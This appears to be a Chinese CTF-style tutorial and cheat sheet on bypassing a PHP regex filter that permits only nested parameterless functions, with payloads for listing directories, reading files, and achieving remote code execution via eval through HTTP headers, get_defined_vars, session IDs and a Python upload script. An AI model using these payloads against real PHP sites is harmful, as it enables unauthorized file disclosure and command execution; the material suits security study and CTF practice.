PHP无参读取文件与RCE总结

PHP 无参数读文件与 RCE 总结

0x01 核心原理

什么是无参数?

即函数括号内只能嵌套其他函数,不能出现字符串、数字或变量参数。

核心正则限制:

php 复制代码
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
  • [^\W]+:匹配函数名(字母、数字、下划线)。
  • (?R)?:递归匹配整个模式,允许无限嵌套。
  • 允许: a(b(c()))
  • 禁止: a('b')a(b,'c')

解题核心思想:

要想读文件或执行命令,必须找到返回值可控的无参函数,将其作为内层函数的返回值传给外层。


0x02 无参数任意文件读取

读文件的前提是列目录,列目录的核心是构造当前目录 . 或上级目录 ..

1. 如何构造 . (当前目录)

方法一:localeconv() + current() (最稳定)
localeconv() 返回包含本地数字及货币格式信息的数组,其数组的第一个元素就是 .

  • current() / pos() / reset():均可以获取数组的第一个单元。
php 复制代码
print_r(scandir(current(localeconv())));
// pos(localeconv()) 也可

方法二:chr(46) 构造法
chr(46) 即字符 .。如何无参构造数字 46?

  • chr(time())chr() 以 256 为周期,time() 不断递增,必然存在 time()%256 == 46 的时刻。

  • chr(current(localtime(time())))localtime() 返回的数组第一个值是秒(0-59),最多等 60 秒必然出现 46。

  • 数学函数链 (phpversion()) :利用 PHP 版本号进行数学运算,极度依赖 PHP 版本,不实用,了解即可:

    php 复制代码
    chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))

方法三:随机哈希构造法 (看运气,需多刷新)

  • hebrevc(crypt(arg)):生成的 hash 第一个字符有小概率是 .,用 chr(ord()) 提取。

    php 复制代码
    print_r(scandir(chr(ord(hebrevc(crypt(time()))))));
  • strrev(crypt(serialize(array()))):生成的 hash 最后一个字符有概率是 .,用 strrev() 逆序后再用 chr(ord()) 提取第一个字符。

方法四:直接绝对路径

php 复制代码
scandir(getcwd());  // 获取当前工作目录
scandir(realpath('.')); // 结合上面的构造点

2. 如何读取指定文件

列出的目录是一个数组,我们需要利用数组操作函数定位到目标文件。

  • 最后一个文件: end(scandir(...))
  • 倒数第二个文件: next(array_reverse(scandir(...)))
  • 随机/正数第三个文件: array_rand(array_flip(scandir(...))) (交换键值,随机取键名)

读文件函数:
show_source() / highlight_file() (直接回显)、readfile() / file_get_contents() (回显在源码中)、readgzfile() (常用于绕过关键字过滤)。

3. 如何构造 .. (上级目录)

  • 方法一:dirname()

    php 复制代码
    print_r(scandir(dirname(getcwd()))); // 查看上一级目录
  • 方法二:利用数组特性
    scandir 返回的数组前两个元素固定是 ...,因此 next() 就是 ..

    php 复制代码
    print_r(scandir(next(scandir(getcwd())))); // 查看上一级目录

4. 读取上级目录文件

直接读上级文件会报错(默认在当前目录寻找),必须先用 chdir() 切换工作目录:

php 复制代码
// 切换到上级目录并随机读取文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

0x03 无参数命令执行 (RCE)

既然函数不能带参数,我们就把要执行的命令放在别处(HTTP头、全局变量、Session等),再用无参函数去取。

1. 利用 HTTP 请求头

核心函数:getallheaders() / apache_request_headers()

返回包含所有 HTTP 请求头的数组。

⚠️ 环境注意: 此函数原本仅限 Apache 环境,但 PHP 7.3+ 的 FPM 模式也支持了该函数,因此在高版本 Nginx 下也可用。

Payload:

http 复制代码
GET ?code=eval(pos(getallheaders())); HTTP/1.1
Leon: phpinfo();

(根据请求头排序不同,可能需要用 end() 等函数定位到你控制的 Header 字段)

2. 利用全局变量 (最通用)

核心函数:get_defined_vars()

返回由所有已定义变量组成的数组,结构通常为:[0=>$_GET, 1=>$_POST, 2=>$_COOKIE, 3=>$_FILES, 4=>$_SERVER]

Payload (GET传参):

http 复制代码
GET ?leon=phpinfo();&code=eval(pos(pos(get_defined_vars()))); HTTP/1.1

解析:第一个 pos() 取到 $_GET 数组,第二个 pos() 取到 $_GET 中的第一个键值 phpinfo();

Payload (利用 FILES 传参):
$_FILES 通常在数组末尾,需用 end() 定位。将 Payload 作为上传文件的文件名。

python 复制代码
import requests
files = {"system('whoami');": ""}
r = requests.post('http://target/?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.text)

3. 利用 Session

核心函数:session_id() + session_start()
session_id() 可以获取/设置当前会话 ID。

限制与绕过:

会话 ID 仅允许字符:a-z A-Z 0-9 , -。无法直接传入括号等特殊字符。
绕过方法: 传入十六进制字符串,配合 hex2bin() 转换。

Payload:

http 复制代码
GET ?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=706870696e666f28293b

(注:706870696e666f28293bphpinfo(); 的十六进制编码)

4. 利用环境变量

核心函数:getenv()

在 PHP 7.1+ 可不传参,返回所有环境变量。

限制:

默认 php.inivariables_order = "GPCS",不包含 Environment (E),导致获取不到自定义环境变量。需改为 "EGPCS" 才能利用,因此实战利用条件较苛刻。


0x04 核心函数速查表 (Cheatsheet)

目的 常用函数 备注
获取当前目录 . current(localeconv()) pos() / reset() 同理
获取上级目录 .. next(scandir(getcwd())) dirname(getcwd()) 数组第二个元素固定是 ..
数组指针操作 current()/pos() (首) end() (尾) next() (下一个) array_reverse() (逆序) 组合使用定位目标文件
随机数组取值 array_rand(array_flip()) 盲读文件神器
读文件 show_source() / highlight_file() readfile() / file_get_contents() readgzfile() readgzfile 可绕过部分过滤
获取外部数据(RCE) getallheaders() (需Apache或PHP7.3+) get_defined_vars() (通用) session_id(session_start()) (需hex2bin) 核心RCE手段
相关推荐
zzq77975 小时前
加固包闪退四象限定位:targetSdk 与保护策略实战解析
android·安全·安卓·安全架构
Promise微笑5 小时前
智能激光清障仪选型指南:高效运维与安全保障的关键考量
运维·安全
●VON7 小时前
鸿蒙 PC Markdown 编辑器存储安全:AtomicFile 原子提交与故障注入
安全·华为·编辑器·harmonyos·鸿蒙
网络研究院8 小时前
2026年上半年十大网络攻击和数据泄露事件
网络·安全·漏洞·风险·数据·泄露·事件
BEOL贝尔科技9 小时前
还在担心样本的安全吗?如何制定有效的温湿度异常应急预案?
人工智能·安全
未来之窗软件服务10 小时前
基于设备ID固化的SaaS客户端访问安全防护的必要性探析—东方仙盟
安全·仙盟创梦ide·东方仙盟·计算机考试
科技发布11 小时前
金理奖背书,传播易打造安全、透明、低成本广告投放渠道
安全
MartinYeung511 小时前
[论文学习]LLM 中的个性化安全:一个基准测试与基于规划的智能体方法
人工智能·学习·安全
王维同学11 小时前
IFEO Debugger、VerifierDlls 与 SilentProcessExit 配置
c++·windows·安全·注册表
大黄说说13 小时前
接口频繁超时、报错?后端常见排查思路总结
开发语言·php